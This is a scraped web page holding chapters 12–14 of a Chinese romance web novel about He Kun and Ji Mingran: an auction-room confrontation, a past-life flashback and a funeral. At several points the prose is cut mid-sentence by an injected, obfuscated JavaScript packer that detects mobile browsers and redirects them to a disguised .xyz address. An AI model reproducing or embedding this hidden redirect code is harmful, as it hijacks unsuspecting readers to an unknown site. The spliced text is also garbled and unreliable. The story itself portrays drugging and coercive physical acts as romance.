纪明冉微微侧身,将纪柏达搭在他肩头的手错开,眸光微闪,意味深长道:“贺琨不重要,四哥怎么想才重要。” 纪柏达收敛笑容将棒球帽带上,白色的Polo衫优雅又休闲。 “那就今晚拍卖会上慢慢谈,九点,熙陇饭店。” —— 熙陇饭店,侍者在前面引路,贺琨低头刷着手机。 他以“山影”为笔名在业内活动,恰好今日李老师回设计院参加讲座,还叫了贺琨一起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993792|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺琨直接应下,离开港口并没有回到兰临市,而是直飞首都。 他也是有私心的,不想那么快划清关系,所以和那人一样回到了首都。 现在讲座刚结束,他还在拖延着回兰临的时间,便答应见一位多次要求合作的顾客。 侍者将门打开,里面坐着的是位中年男性,看见贺琨出现时便眼前一亮。 “山影先生,快快请坐,真是江山代有人才出,想不到您年纪轻轻便已经如此出色了。” “孙先生客气,这个项目选址特殊,我也比较有兴趣。” “哎呀,多亏是借了那块宝地的光,才有机会将您请出来。”孙先生调侃道。 贺琨笑笑,他从小听过的赞美恭维犹如过江之鲫,数不胜数,但是好话总是不嫌多。 “我姓贺,随意称呼。” 两人寒暄了一会,孙旗便直接引出主题。 “青平市季候宜人,随着居民生活水平地不断提高,对生活品质当然也有了更高的追求,青平也顺势而起,旅居人数逐年递增,但在短时居住这块还缺少特色化、专业化......” 也许是因为冯平对接的时候,事先交待过,今晚的整个流程都比较简洁高效。 贺琨和孙旗谈论得也比较流畅,没有多余的动作。 至此贺琨是比较满意的,也决定正式接下这个项目设计。 到了差不多该结束时,正巧电话铃声响起,孙旗看了眼屏幕略表歉意的笑笑,在贺琨摆手示意无事时,才到阳台上接起电话。 不一会,只见孙旗笑着将电话挂断,转身回到室内:“贺先生,晚上九点有个拍卖会,就在饭店举办,正好投标方也在,不如您赏光和我一起去看看?” “不了,晚上还要赶飞机,如果没有什么疑问,差不多我们也可以收尾了。”贺琨点点腕表,示意自己有些赶时间。 孙旗再次邀请,见贺琨确实没有多待的意思,才慎重开口道:“好,那贺先生有事先忙,下次我再联系您。” 贺琨与孙旗告别后,转身去了洗手间,等冯平过来送他去机场。 刚踏进洗手间,只见两位年轻好看的男生站在镜前整理服饰,贺琨淡漠地扫了一眼,继续往里走。 “喂,今晚到底是和谁吃饭呢?”声音比较活跃。 另一位打扮轻熟的,将淡色衬衫扎进黑色的西裤中,腰线掐得纤细自然,不会过分做作,但也不过于死板。 “纪先生到时候怎么安排就怎么做,你就是话多。” 贺琨听见那个姓氏脚下一顿,自然而然地转到侧边的洗手台上开始洗手。 那个年纪小的显然不是听劝的,还在叽叽喳喳:“话多怎么啦,我可比你年轻好看。” 衬衫男没有回话,反倒警觉地瞟了一眼贺琨的背影,便对身旁的人说:“弄好了便走吧,拍卖会马上开始了。” 拍卖会,好吧,去看看。 贺琨取出一张纸擦干净手上的水分,拿出手机敲击了几下,很快电子邀请函便出现在邮箱中。 12. 第十二章 这是羞辱 拍卖台上,拍卖师身着月白色真丝旗袍,珍珠耳坠在耳际摇晃。 冷白指尖托着粉色珐琅彩瓷瓶,釉面流淌着晚霞般的瑰丽。 “靖朝官窑胭脂红彩瓷瓶,瓶身缠枝莲纹暗隐金线,每道描金皆是匠人半月之功……” 音调似南方傍水小镇的软语,却难得地清晰明亮、干脆利落,伴随着拍卖槌时不时的清脆叩击。 纪明冉推开包厢的门时,纪柏达已经到了,这人还换了一身衣服,白色卫衣与卡其色休闲裤,与拍卖会现场的氛围那是格格不入。 唯有手中把玩着的那把玉骨扇圆润剔透,倒是契合今晚拍卖会的主题。 “明冉!快来坐。”纪柏达起身回头,挂上招牌的笑容,一副神经大条的模样,“我让助理送了一瓶好酒来,快尝尝。” “五哥,晚上好。” 纪明冉脱下西服外套,慢条斯理地挂到实木衣架上,才走到纪柏达身旁的椅子坐下。 “嗐呀,又不是在家里,有什么可拘束的,兄弟之间何须那么多繁文缛节。” 纪柏达面上依旧热情洋溢,心中却掠过不快,最讨厌纪明冉这装货。 纪明冉冷笑:“我倒是觉得家里并不拘束,和五哥喝酒自然也不会。” 纪柏达的笑容僵在脸上,端起酒壶给纪明冉先倒上一杯,又给自己满上:“是是是,五哥嘴笨,先罚一杯。” 纪明冉端起酒杯垂眸浅尝,醇厚香气在舌尖炸开,微醺的甘冽与绵长回味交织,沉寂片刻,他蓦然开口询问:“纪焯怎么死的?” 纪柏达显然没想到纪明冉能如此直接,饮酒的动作直接顿住,头皮传来的阵阵麻意瞬间袭上心头。 他佯装自然地夹起冰块放入杯中,殊不知就算是这般微小的动作,也已经全然落入纪明冉眼底。 纪柏达端起冰凉爽口的美酒,细品慢尝,悠悠然沉默了会,方才开口。 “那自然是,人为。” 纪明冉垂眸,掩住眸中的神色,酒杯在灯光下折射出绮丽的光圈,映在他洁白的手背上。 这个答案,他不满意。 早在纪焯屡次针对纪明冉下手时,他便吩咐肃江监视纪焯的一举一动。 纪明冉十分清楚,是一通电话让纪焯上了游轮,最后还是一通电话将纪焯送进了坟墓。 可惜,肃江他们之前尝试了各种手段,终究是无法监测到电话的内容。 直至最后那通,他们猜测可能是纪焯放松了戒备。 所以,纪焯死后没过几日,纪明冉就非常顺利地拿到了通话内容。 那通电话是这么说的:【纪二先生,您失败了,公开您母亲当年陷害他人的证据,还是牺牲您自己的性命,总得选一个不是吗?否则就太不公平了,呵。】 所以,纪明冉再等,等纪柏达的反应。 纪柏达感受到氛围的古怪,却坚持不再补充回答。 室内恢复安静,只有拍卖师的介绍还在继续。 纪明冉数着秒数,沉默不语,默念到“5”时,他利落地起身朝门口走去:“五哥先忙,我还有事。” “哎哎哎,明冉等一下嘛,我还打算给你介绍几个朋友呢,你这会离开,五哥面上可是挂不住。” 纪明冉臂弯里搭着西装外自带矜贵气场,下颌微微扬起,眼神淡漠庄严。 纪柏达在这瞬间仿佛看见了晚饭离开时的父亲,如同一座大山压在心间。 他承认所有与纪焯暗中联系的电话,都是他操控的。 他与纪焯相处20余年,对纪焯的脾性了如指掌。 纪柏达知道如何能最有效地说服纪焯,如何又能最快地激怒纪焯,可他确实做不出送纪焯去死这样的事。 眼下,除了自己,谁都可能是杀死纪焯的凶手。 但是在众人眼中,他就是杀害纪焯的真凶。 这一次真是着了道了,哑巴吃黄连,有苦说不出,纪柏达苦笑:“我只能说,真凶肯定不是我,信不信由你。” 纪柏达显然拿出了几分真诚,纪明冉心中暗忖,这算作两人谈话的开始。 他再次回到位置坐下:“五哥今晚找我,恐怕主要不是这个事情吧。” 纪柏达打了个哈哈,连口说道:“嘿边玩边说,边玩边说。” 纪明冉微微皱眉正欲拒绝,可就在门被打开的那瞬间,他看见了一闪而过的侧影。 于是回转话锋,不欲开口拒绝。 门口走进来两位男生,一位偏高一位稍矮,均是面容姣好,身材纤细而有美感,但细说又各有各的特点。 高的那位显然更为成熟优雅,穿着精简利落,将身体线条展现得淋漓精致,纯洁禁欲,让人想要征服, 矮的那位进门时眼睛都还在四处乱飘,裤子很短,肤色雪白滑腻,怕是要活跃些。 纪柏达抬手:“铅书,你陪纪六爷喝酒。小吉过来。” 那位稍显年轻的男生应该就是小吉,闻声立马笑起来,微微仰头嗔怒:“达哥,好久不见,我看你都不想我了。” 身旁两位隔着几步的距离调笑起来,铅书则是微微偏头迎上了纪明冉的视线,温和地弯起眉眼。 名叫纪明冉的那位纪六爷端坐在包间中间。 身着深灰戗驳领羊毛西服马甲,与白衬衫勾勒出笔挺轮廓,腰背如青松,眉眼沉静,周身萦绕着疏离清冷的气质。 他并没有因为高人一等而自傲,对着铅书礼貌地微笑点头,随后将目光投向小吉。 铅书听见那个温和男人说:“不知道五哥能否割爱,让小吉今晚陪陪我,如何?” 纪柏达错愕,他没想到小吉这样的性格能入纪明冉的眼,他回忆起贺琨的模样,总之不是小吉这样。 但纪柏达还是连忙答应,毕竟有求于人不是。 “可以,当然可以,小吉今天真是好运气。” 小吉笑眯眯地:“是呀是呀,看了今晚得回去买一注彩票。” 纪柏达捏捏小吉的脸,揪起一坨软白的粉肉:“被六爷看上,就是天大的好彩头了,真贪心啊宝贝。” 小吉佯装发怒,皱着眉往后躲,抬起手捂住脸颊:“都给捏痛啦,达哥。” 纪柏达哈哈一笑没有说话,只是拍拍小吉的腰,将他推到了纪明冉身边。 “就这娇滴滴的脾气,和贺二也不像啊,明冉真是一天一个喜好。” 不像?纪明冉不置可否。 贺琨,那天生就是娇生惯养的、永远昂着头颅的小少爷。 天凉了要抱着取暖,天热了又不准靠近,重了怕痛,轻了怕痒。 吃饭更是稍不合胃口就索性不吃,胃痛了又要跑来跑去的陪着。 若是哪里擦破了点伤口,隔着大洋都要打电话,都必须讨要到安慰。 纪明冉知道贺琨就站在门外,今早他让肃山给贺琨送的衣服就是那件藏青色的外套,虽然只在门隙中短暂划过,可是他记得。 “一场意外罢了,没什么喜欢的,还是小吉这样的,又乖又惹人爱。”纪明冉薄唇间含着烟嘴,吐词含糊而带着磁性。 小吉捧着火将其点燃,香烟铺面撒来,纪明冉那张惊魂摄魄的脸在雾里若影若现,看得他一时呆住。 门口,贺琨听见里面的谈论,泛白的指尖深陷进柔软的掌心,留下指甲深红色的月牙印。 明明没有什么可以伤感的立场。 他深吸一口气,如果这就是惩罚、是忏悔、是代价,只要能接近些,再接近些...... 那他照单全收,甘之若饴。 贺琨眼睛弯成月牙,笑得古怪而悚然。 他盯着坐在纪明冉身旁的小吉,调整好情绪,骨节分明的修长五指将额前的碎发撩起,重新挂上和善的微笑,对着门轻叩三下。 还未等到包厢内的人出声,便推门而入。 “冒昧打扰,纪五爷、纪六爷,不知是否方便在此加个位置?” 他垂眸浅笑,声线温润动听,微微颔首时,言行之间萦绕着恰到好处的妥帖与谦逊,但显然不容拒绝。 纪柏达看出贺二有几分古怪,联想到两人之间的传闻,连忙转头看向纪明冉如何示意。 看热闹他也爱啊,人之本性。 尽管铅书和小吉都是他带来的,还被抓了个现场,纪柏达那是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993793|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点都不尴尬,甚至还想叫盘瓜子上来。 纪明冉撇了贺琨一眼,又淡淡地将视线转向拍卖台,看不出来是什么意思。 贺琨笑意加深。 纪柏达的头在两人沉默的互动间快速旋转,首先打破了沉默。 “哟,贺二也来玩了,请坐请坐,铅书,你去叫人给贺二加个位置来。” 悉悉索索又是一阵,贺二坐在了纪家两兄弟都中间,纪柏达这才想起今晚自己还有正事,感叹到真是搬起石头砸自己的脚。 不过,说起来现在这氛围也不差啊,又有好戏看喽,不亏。 夹在中间的,除了贺琨,还有摸不着头脑的小吉,但是本着营业本能,他还是冲着贺琨甜甜一笑:“贺二爷,小吉给您倒酒呀。” 站在旁边的铅书暗示得眼睛都眨抽筋了,小吉这不省心的,还在一个劲地往上赶。 他双眼一闭,随便吧。 贺琨闻言,视线缓缓移到小吉脸上,眼神冷得如同冰锥子,面上还笑盈盈的:“倒酒?小吉那么可爱,不如给我点支烟吧?” “就像,给纪六爷点烟那样。” 贺琨话音在舌尖上含转,眼神滑到纪明冉裸露的后颈,暧昧不已。 纪柏达默默观察,看见纪明冉已经眉头紧皱。 但小吉还是傻乎乎的,显然这包间内的暗流涌动一丝一毫他都没有察觉到。 刚才纪六爷实在是太清冷高洁了,小吉有些不敢,但是这位贺二爷一看就是会玩的,为了生活费,他鼓着勇气贴近了贺琨。 打火机清脆的声音响起,紧跟着的是小吉短促的惊叹。 不是什么时候,贺琨骤然扣住小吉后颈,掌心已带着不容抗拒的力道强行扭转他的下颌,逼迫其直直看向纪明冉。 贺琨用大家都听得清的音量低头耳语道:“为什么要亲我,刚才不是还很喜欢纪六爷吗?” 寒意顺着脊椎炸开,小吉这才意识到自己可能陷入什么麻烦里了,但他又实在想不出贺琨想听见什么答案,慌忙急火道:“不喜欢了,不喜欢了,再也不敢喜欢了。” 贺琨像是赢了一场什么游戏,笑容缓缓掺进些许真正的喜悦,悄悄偷瞄了一眼纪明冉的侧颜。 “哦,也不过如此。” 他心中得意,将手松开,失控感缓缓消散,又变成那个很乖很乖的贺琨,安静地坐在纪明冉身后。 小吉吓得立马跳出几米,忙不迭地跑到铅书后面去了。 纪明冉却在此时转头,直视贺琨双眼,目光犹如锋利冰刃,冰冷的声线碾在贺琨心间。 “你想通过这种方式羞辱我,不觉得可笑吗?” 纪明冉说完便移开视线,像是贺琨无足轻重,根本不值得他多余的眼神。 “五哥,今日没谈完的事,改日再约,我先回了。”纪明冉得体告别,起身离开。 纪柏达还没应声,身边的贺二跟着也匆匆离开。 他玩味地看着被狠狠砸上的门,将酒杯中的酒水仰头饮尽,哼着不成调的小曲。 “可惜了我的好酒,小吉来来来,再给我倒一杯,待会还有客人要来呢。” —— 贺琨不知道哪里做错了,他只是想向纪明冉证明,别人口中的爱都是虚伪的,不长久的。 只有他的爱,才是真的啊。 “冉冉......” 贺琨看向那道背影委屈地唤道,可惜那人只是脚步一顿,终是没有回头。 贺琨心里泛起尖锐而细密的刺痛,脚尖无意识地向前挪动,却又因满心的愧疚与慌乱顿住。 直到纪明冉的身影即将消失在走廊的拐角处,贺琨升起无尽的恐惧,他想起他们上一次争吵后,纪明冉就再也不见了。 贺琨跑起来,追上那个背影。 直到将人推入黑暗安静的房间时,胸腔里翻涌的恐惧还未平息,他颤抖着扣住对方肩头,掌心传来的温度却让眼眶发烫。 心脏擂鼓般撞击肋骨,喉咙像被巨石压住,挤压两辈子的言语和思念倾泻而出,却无法诉说。 贺琨借着微弱的月色,带着急切和不安,仰头吻上了纪明冉。 13. 第十三章 强制按压 晨光穿透薄雾,柔和地撒照在罗德山庄里,远处起伏的丘陵若隐若现。 庄园的玫瑰花瓣上坠着露水,在阳光下晶莹如同钻石,香气弥漫在石板小径上经久不散。 精致华美的铸铁围栏爬满常春藤,偶有露珠顺着叶尖滑落。 “嘿,诺娜,听说了没有,那位要回他父亲家去了。” 微胖丰满的女仆身着深灰色及踝长裙,裙摆有些许磨损,黑色围裙围在腰间,边缘的缝线微微开绽。 另一位稍微青涩些的女仆手中小心翼翼地打磨着为女爵准备咖啡,苦涩的香味很快散开,闻言有些畏惧,抬头看了看四周。 “小声些,他可不是小时候那般好欺负了。” 微胖的女仆唏嘘一声,壮了壮胆。 “他就是恶魔,流淌着古老邪恶之地的肮脏血脉,是天生的坏种,我看女爵早就应该把他赶走!” 为了印证自己的结论,她赶忙补充道:“他刚出生那年,老伯爵和少爷就意外身亡,这就是最好的印证!” “是吗?竟如此有趣,不如仔细说与我听?” 纪明冉穿着洁白衬衫缓缓踏进厨房,接过诺娜准备送给女爵的早餐,明艳的脸庞上挂着弧度精准的微笑。 乔安娜当场被抓包,那时吓得一个激灵,连头也不敢回,冷汗顺着额角滑落,几乎要哭出来。 她哪能想到这位少爷会来到这仆人做饭的底下楼层。 “对......对不起,大人!我......我实在无意冒犯,对不起,对不起.......” 乔安娜后悔地拽紧自己的裙摆,连开绽之处的绵线再次断裂都未曾察觉,口中连完整的话也说不出。 纪明冉端起托盘,将刚才庄园里剪下的红色玫瑰放在一侧装饰,方才慢悠悠地说道: “没关系,亲爱的,忏悔可以留着在地狱里说,也许上帝会心软。” 乔安娜唇色苍白,冷汗打湿整个背部,她呆愣着看向离去的背影在拐角处停下,随后缓缓转过身子。 乔安娜心中传来不好的预感。 果然,那双琥珀色眼眸浸着的,满是戏谑与危险,指尖并拢如枪管,拇指轻叩作扳机状,直指她的眉心。 乔安娜也许会在近期无声无息的消失,像之前那些肆意欺凌折辱纪明冉的那些人,也许也不会,谁知道呢? 毕竟,这位坏中少爷今天就要离开了。 纪明冉今年22岁,在这个充满歧视偏见、迂腐落魄的山庄里,他的外婆是一位典型的温婉小意的女子。 年轻时,不知在何处巧遇了老伯爵,作为不同的人种,老伯爵想给自己的生活增添些情趣,便把她带回了罗德山庄。 他的外婆当作玩物摆件一般的收藏,在山庄里过着寄人篱下、苟延残喘的生活。 绝色的容貌反而给她的人生增添了悲剧的色彩,侥幸为伯爵生下了位小女儿——纪明冉的母亲,才得以安度晚年。 纪明冉的母亲是他外婆不幸的延续,但她天生有着不服输的劲头。 不同于外婆顺应命运的安排,刚成年的她偷偷溜回故土。 找了位权势滔天的男人试图证明什么,但她显然失败了,灰溜溜地回到这个养育她的山庄。 那时,她便意识到,能依靠的人,只有自己。 可能情场失意,就会在其他地方得意。 命运弄人,百年难见的事也是让她给遇上了。 伯爵和他唯一的男继承人在海难中意外身亡,所有的一切顺理成章的为他的母亲所继承。 为了支撑起落魄的家族,她开始做起生意,很快便与政界的一位律师踏入婚姻。 她从一位青涩的少女快速蜕变为罗德山庄的主人,而在这场命名为成长的阵痛中,纪明冉就是第一个牺牲品。 纪明冉是她不成熟的标志,是过往不幸的化身。 她允许纪明冉存在,但却不会亲近纪明冉,没有人规定母亲天生就要爱着她的孩子,并为其付出生命。 所以,纪明冉自打出生起,就是个不受欢迎的存在。 欲加之罪,何患无辞。 或许山庄里的狗都活得比他滋润。 对了,说起来,他也不是没吃过狗笼里的食物。 刚才女仆们的说辞讨论,他早已不是第一次听见。 明明人们投射以什么,他便回应以什么,可这时人们又无法接受了。 真是可悲又可笑。 纪明冉端着托盘,缓缓走过这个生活了20多年的地方。 屋内,阳光穿过鎏金铜框的落地窗,照在亮堂的大理石地面上,水晶玻璃折射出细碎光晕,流转着奢靡与华美。 窗外,正巧有一只羽翼洁白的飞鸟掠过,在湛蓝苍穹下舒展双翅,自由翱翔,只留下快速划过的暗影。 说起来,今天就可以永远离开了。 纪明冉厌倦了这场人性的游戏,他将手中的托盘递到母亲书房的红木桌前。 临到离别时刻,这位高高在上、铁血手腕的女爵也许是生出了一番迟来的母亲的自觉,自顾自地说: “你的亲生父亲名叫纪正源,是个优秀的混蛋,拿着这枚玉佩去找他吧,你不愿和我生活,那或许他也能给你优渥的生活。” 女人微微垂眸,从上锁的抽屉中拿出一枚圆润的玉佩,轻轻摩挲。 似乎是在留恋什么,但很快果断地将其装进信封中递给了纪明冉,不再投以目光。 “好的,母亲,永别。” 纪明冉接过信封,转身离开了罗德庄园,除了身上的衣服,没带走任何东西。 他没有选择直达的航班,而是去了最近那城市渡口,乘上一艘远渡的客轮。 第一天正午,纪明冉睡到自然醒。 睁眼便看见舷窗的洁白纱帘透过暖色的阳光,逐渐远离明德山庄的事实让他的心情格外地好,眉眼间都染上了暖意。 他起身整理好着装,拿那出枚带着私人刻印的玉佩,散步般悠悠晃到甲板上,毫不留恋地将其投入了茫茫大海之中。 “喂,那材质挺好的啊,干嘛丢了它,难道?是什么伤心往事?” 纪明冉顺着声音看去,目光所及之处是位张扬的男生,洁白的衬衫在海风中翻飞,眉眼锋利却没有戾气,充满生机。 那位青年看着落入海中玉佩感叹,语气飞扬而充满好奇,好似什么也无法将他染上阴霾。 可能是察觉到纪明冉的目光,他收回视线。 两人在温暖咸涩的海风中对视。 纪明冉清楚地看见,男生眼中黑茶色的瞳孔里晕开细碎的光。 装满是惊艳与痴迷,但那种眼神干净的、纯粹的,并不令人恶心的赞赏。 海风吹拂中,他沉寂许久的心第一次轻跃。 他想要。 可惜那时候二人并不知道,彼此这份爱意的沉重。 —— 纪明冉思绪飘得无限远,等从他们上一世的初遇中回神时,贺琨还在吻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993794|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 吻得细密而轻柔,似乎在极力的压制着什么。 像小狗舔舐般卑微可怜,却难掩急切与热烈,尽管自己并没有回应。 在游轮上设计贺琨喝下那杯有问题的酒,纪明冉此刻有些后悔了。 他抬手抵住贺琨的胸膛,贺琨当然是不允。 但纪明冉还是轻易地将两人的距离拉开了,略微有些沙哑嗓音平静道:“够了,别疯。” 闪电划破天空,将房间照得煞白。 纪明冉话音刚落,却借着闪电的光无意扫过贺琨红肿的薄唇。 上面还泛着暧昧的水光,还有那双委屈到湿红的眼眶,无一不在刺激着纪明冉的兴奋神经。 他心中叹息,呼吸不由地有些紊乱,无奈地抬手揉了揉眉心,借此移开视线。 闷雷自天际滚滚而来,低沉如巨兽呜咽,转瞬化作震耳欲聋的轰鸣,在纪明冉动摇的心中上了一记警钟。 紧接着,是贺琨蛊惑人心的低语。 “没有疯的,冉冉,你看看我好不好?” 贺琨话语间轻轻抬手去捧纪明冉的脸。 纪明冉淡漠地转过身:“游轮上的事,我很抱歉,如果你需要物质上的补偿请尽管开口。” 他当然知道贺琨不会缺钱用,但是纪明冉现在只想快刀斩乱麻。 狭小的杂物间外,雨幕裹挟着磅礴气势倾泻而下,急促地拍打着窗户。 纪明冉没有听见身后的动静,以为贺琨已经想通了,于是准备离开。 刚迈出左脚,却被一个温暖的怀抱从身后抱住。 电流般的战栗酥麻从相触之处传开,沿着脊椎一路窜上脖颈,瞬间袭遍全身,两人交错的呼吸融入着雨声中变得紊乱。 贺琨的手掌移动,触摸到一片炙热,他满意地低声笑笑,自卑至极中夹杂着些许复杂的情绪。 “那冉冉告诉我,这是什么?” 艹。 纪明冉暗骂,不耐的轻啧在安静狭小的空间里极为响亮。 他压着眉眼转过身子,那张绝美的脸庞写满欲望,眼神赤裸又危险。 依仗绝对的力量优势,左手将贺琨反手按压在洁白的墙壁上,右手用不容抗拒的力道将其头颅抵到墙壁。 贺琨白软的脸颊肉被挤出圆润得弧度,肩胛骨因为压制而突出,如同蝶翼微微颤动。 纪明冉喉咙更加干涩了,他低头先是轻触身下人的脖颈,可转瞬,牙齿用力咬上圆润的肩头。 贺琨先是毫无防备的闷哼,随即立马自觉地全部咽回肚子里,小腿肚都开始微微抽搐。 直至血腥味透过布料,传到纪明冉的口腔中,他才抬起头调整姿势。 带着薄茧的虎口卡住贺琨的下巴,从后方将人按压到自己肩头,骨头与后脑碰撞出闷响。 “贺琨,我不是什么好人,也没空和你过家家。” 恨意占了上风,他单手扣住贺琨已经破开的伤口无情碾压。 纪明冉是为了两个人好,可贺琨不听话,非要步步紧逼。 贺琨疼得冷汗直冒,凛冽的眉头压得紧实,始终一声不吭,看起来极凶,实际心里很委屈。 越细品越心酸。 雨还在下,挣也挣不开,虽然有些不合时宜,但是他在想,我那温柔可人的老婆呢? 贺琨想不通,沉浸在自己的世界里,或者他刻意忽略纪明冉的淡漠和冷拒,只沉浸在自己愿意接受的部分中。 “冉冉,下次轻些,肯定都出血了。” 14. 第十四章 悲哀葬礼 纪明冉闻言,双眸犹如暗夜中灼灼的幽蓝火焰,在眼瞳深处不安分地跃动。 他松开压制贺琨的双手又将人掰正,转而捏住贺琨下巴上薄薄的软肉,含着玩味的笑意端详了几秒。 好一张能说会道的嘴,烦人。 明明贺琨才是上窜下跳的罪魁祸首,还卖着委屈装可怜。 难道不是他将自己推进房间,又不顾自己的意愿强吻上来,最后还要拦住自己不给走。 “下次?轻些?贺琨,你这是在邀请我吗?你哥知道你在外面这么急切吗?” 贺琨睫毛微微抖动,卷长的睫毛在眼下投出的黑影,随之着轻颤而晃动。 如果此时有灯光照明,纪明冉定能发现他已经红得充血的耳垂。 “嗯。” 贺琨咽了咽不存在的口水,搭上纪明冉骤然捏紧的手。 纪明冉察觉贺琨微微的抽气声,松了些力道。 可下一秒,贺琨竟将手覆上他的手背,滚烫到如同被灼烧,纪明冉收回手,半插进西服裤的口袋中。 下巴传来的痛觉瞬间缓和了些,他忍了忍继续回答第二个问题。 “应该是不知道。” 纪明冉发现,尽管已经说出带有羞辱言辞,还是对贺琨不起作用,于是,他改变策略,想让贺琨知难而退。 “刚才还美人伴身,风光无限,现在又到我面前装深情,让人恶心。” 大雨还在继续,不过雷声已经停了,室内安静到只剩下呼吸声。 贺琨有些僵硬,呼吸都染上痛意,这是第二次,纪明冉对他表现出明显的厌恶。 可贺琨不想退缩了。 他固执而又阴沉,嘴唇微微蠕动,话在口边打转几圈,边厌弃自己,边僵笑道: “你是吃醋了吗,冉冉?我很干净的,我从不乱玩。” 纪明冉皱眉,贺琨的状态显然听不进话,他不想毫无意义地浪费时间。 “随便你怎么想,我要走了。” 气氛又冰冻到起点,话题又绕回开始。 贺琨不想忤逆纪明冉,却也不想让纪明冉离开,两相权衡之下,神色逐渐变得麻木,有些痛苦。 “纪明冉,你不可以走。”他找不到挽留的理由,却还是偏执地开口。 纪明冉的手第二次搭在金属的门柄上,第二次忍不住回头,都气笑了。 斜睨过来的眼神让人胆战心惊,果然更生气了。 贺琨也想听话的,但是他更害怕失去,低声轻哄道:“对不起,我说错话了,改天我请你吃饭,可以吗?” 纪明冉看着贺琨的低到尘埃里的姿态,不舒服。 深吸一口气,索性不再搭理。 他重新弯起嘴角,笑得温和儒雅,彷佛忘记所有,对贺琨的请求充耳不闻。 只是弯腰捡起刚才掉落在门边的西装外套,随后礼节性告别。 —— 纪焯将在三日后下葬,因为殡葬制度的改革,尽管是贺家这样古老庄严的门楣也将那些复杂传统的流程简化至极。 贺琨作为贺氏主家唯一的血脉必须亲自到达现场,表示敬意。 贺青峰毕竟只是养子,就算现在全权打理迅科集团,在法律上也是贺氏主家的合法继承人之一。 但这样的场合哪怕能力再出众,那也是略低一筹。 贺琨刚下飞机,冯平就已经在车上准备好了一套黑色西装。 二少是卡着时间来的,马上葬礼就要开始了。 “哎,这几个月事多,您已经来来回回跑了好多次了。” 冯平看着贺琨眉间难以掩饰的疲惫,感叹道。 “没事,主要是李老师那边有些过意不去。” 贺琨看着手机界面上的请假消息,尽管老师已经同意并且表示理解,他还是有些内疚。 “这倒是,但您也没有落下什么进度呀。” 冯平全面对接并负责贺琨的生活,对各方面情况都还是比较了解。 “要是再拖进度还得了,总归是不一样的......” 贺琨看向窗外,他与纪明冉的短信对话框中,十天之前的晚饭邀请还孤零零地停留空白的页面上。 尝到甜头的他才刚开始跃跃欲试的心,又蜷回躯壳中畏惧不前。 葬礼的现场很安静,大家庄严肃穆,轮流献上素色的花束,认识的,不认识的,好似发自内心地悲切。 可一旦退出祭堂,很快就开始在庭院中窃窃私语,怎么不算一种社交的机会呢。 贺琨先是和贺青峰待了一会,直到感觉有些疲惫,便去到旁便以供休息的亭中歇脚。 他始终没见纪明冉的身影,但是今天冉冉不可能不到场。 又过了一刻钟,贺琨心有所感地抬眸,果然看见了从朱漆门框中踏入院落的纪明冉。 那人黑色西装上点缀着一朵白玫瑰,腕间檀木手串随着动作轻响,没什么表情。 身侧站着的是纪柏达,今天也终于换上了一套板正的西服。 正转头和纪明冉说着什么,眉眼间带着淡淡的喜悦,看起来是达成了什么共识。 变故猝不及防。 一位身穿黑色长裙的中年女人大步跨上前去,趁纪柏达没有防备,响亮的巴掌声穿透整个院落。 原本安静的庭院里,所有人都被这个动静吸引住目光。 倒吸凉气的声音此起彼伏。 “纪柏达,你还有脸笑,你谋害手足,不得好死!” 参礼的众人讨论热切起来,显然比方才更躁动。 他们本就没有多少悲伤的表情染上看客灼热的好奇。 无情地将这场永别的仪式变成了名流丑事的八卦场。 贺琨紧锁眉头,想要将纪明冉从这些丑恶的视线中带走再藏起来。 可是刚起身,便被疾步走来的贺青峰按下。 贺青峰显然看出了贺琨的着急,加上最近沸沸扬扬的流言蜚语,他最担心的事还是发生了。 自己幸苦养大的水灵白菜真被端了。 贺青峰疾声厉色道:“别多事,纪明冉不会吃亏。” 贺琨不同意他哥的看法,还在死犟:“哥,和纪明冉没关系。” “那你过去,明天纪焯就是你哥我杀的。” 贺青峰显然拿捏住了贺琨的软肋,加之轮船那晚,他是在贺琨的请求下,才出手掺和了纪焯助理的事情。 贺琨没办法,只好暂时按兵不动。 他着急地再次看向纪明冉的方向,也看清了那位中年女人。 贺琨记得此人,曾在大大小小的宴会上见过许多次,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“抱歉,让各位见笑了,今天先到此为止,还请各位不要外传,纪家家事还无需外人置喙。” 